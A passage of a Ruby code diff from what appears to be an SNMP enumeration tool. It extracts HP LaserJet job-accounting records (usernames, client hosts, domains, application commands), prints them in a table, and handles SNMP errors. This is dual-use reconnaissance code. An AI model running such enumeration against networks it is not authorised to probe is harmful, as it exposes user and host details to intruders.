/^JobAcct(\d+)=(.*)/ + timestamp = $2 + else + timestamp = '-' + end + else + timestamp = nil + end + + if (app_name.value.to_s !~ /noSuchInstance/) + if app_name.value.to_s =~ /^JobAcct(\d+)=(.*)/ + app_name = $2 + end + else + app_name = '-' + end + + if (app_command.value.to_s !~ /noSuchInstance/) + if app_command.value.to_s =~ /^JobAcct(\d+)=(.*)/ + app_command = $2 + end + else + app_command = '-' + end + + if not timestamp.nil? + hp_laserjet_printer_enumeration.push({ + "Filename" => filename + "#{filename.length}", + "Username" => username, + "Client" => client, + "Timestamp" => timestamp, + "Domain" => domain, + "Application name" => app_name, + "Application command" => app_command + }) + end + end + + if not hp_laserjet_printer_enumeration.empty? + output_data["HP LaserJet printer enumeration"] = hp_laserjet_printer_enumeration + end + + print_things("System information:","result") + puts + + line = "" + width = 30 # name field width + twidth = 32 # table like display cell width + + fields_order.each {|k| + if not output_data.has_key?(k) + next + end + + v = output_data[k] + + case v + when Array + content = "" + + v.each{ |a| + case a + when Hash + a.each{ |sk, sv| + sk = truncate_to_twidth(sk, twidth) + content << sprintf(" %s%s: %s\n", sk, " "*([0,width-sk.length].max), sv) + } + content << "\n" + when Array + a.each { |sv| + sv = sv.to_s.strip + content << sprintf(" %-20s", sv) + } + content << "\n" + else + content << sprintf(" %s\n", a) + content << "\n" + end + } + + line << "\n[*] #{k}:\n\n#{content}" + + when Hash + content = "" + v.each{ |sk, sv| + sk = truncate_to_twidth(sk,twidth) + content << sprintf(" %s%s: %s\n", sk, " "*([0,width-sk.length].max), sv) + } + + line << "\n[*] #{k}:\n\n#{content}" + content << "\n" + else + if (v.nil? or v.empty? or v =~ /Null/) + v = '-' + end + + k = truncate_to_twidth(k,twidth) + line << sprintf(" %s%s: %s\n", k, " "*([0,width-k.length].max), v) + end + } + + puts(line) + + end + + puts + + rescue SNMP::RequestTimeout + print_things("#{target}:#{port} SNMP request timeout","error") + rescue SNMP::ConnectionError + print_things("#{target}:#{port} Connection refused","error") + rescue SNMP::InvalidIpAddress + print_things("#{target}:#{port} Invalid IP Address. Check it with 'snmpwalk tool'","error") + rescue SNMP::UnsupportedVersion + print_things("#{target}:#{port} Unsupported SNMP version specified. Select from '1' or '2c'","error") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_things("Unknown error: #{e.class} #{e}","error") + print_things("Call stack:\n#{e.backtrace.join "\n"}","error") +end